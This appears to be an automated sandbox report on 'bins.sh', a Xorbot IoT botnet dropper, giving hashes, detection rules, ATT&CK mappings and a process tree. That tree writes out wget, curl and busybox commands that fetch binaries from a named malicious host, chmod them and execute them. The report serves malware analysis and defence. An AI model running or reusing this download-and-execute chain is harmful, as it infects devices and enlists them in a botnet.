xorbot | 133705d1dad507e910f0e58c174967bb9ca9f06ff834c9be314b657cba0e2043

Analysis

max time kernel
145s
max time network
153s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/11/2024, 21:58

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General

Target

bins.sh
Size

10KB
MD5

a5da61eaff3ea0e56e811a2643d0d7f2
SHA1

bf0f2e6d31d0c33d4e4c1a38cd38ef56353ac6ba
SHA256

133705d1dad507e910f0e58c174967bb9ca9f06ff834c9be314b657cba0e2043
SHA512

5cb3f1090a5aec83c6beb71d6509bf359a6879ebc4179c89dc10c835beec6e578993d141fbd8a3a979c77d2f4dc23838af55bd202becb624dee2ac8fadf1cdd3
SSDEEP

192:TwsPjwjdlmSl9kT/vmBMWdlLl9kT/u6fPjz:TwsPjwu9mBhkPjz

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	806	U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
812	busybox
702	wget
716	curl
804	busybox
809	wget
810	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	busybox
File opened for modification	/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k	wget
File opened for modification	/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k	curl
File opened for modification	/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	wget
File opened for modification	/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:692
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:702
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:716
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  ./U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  PID:808
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - System Network Configuration Discovery
  PID:812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit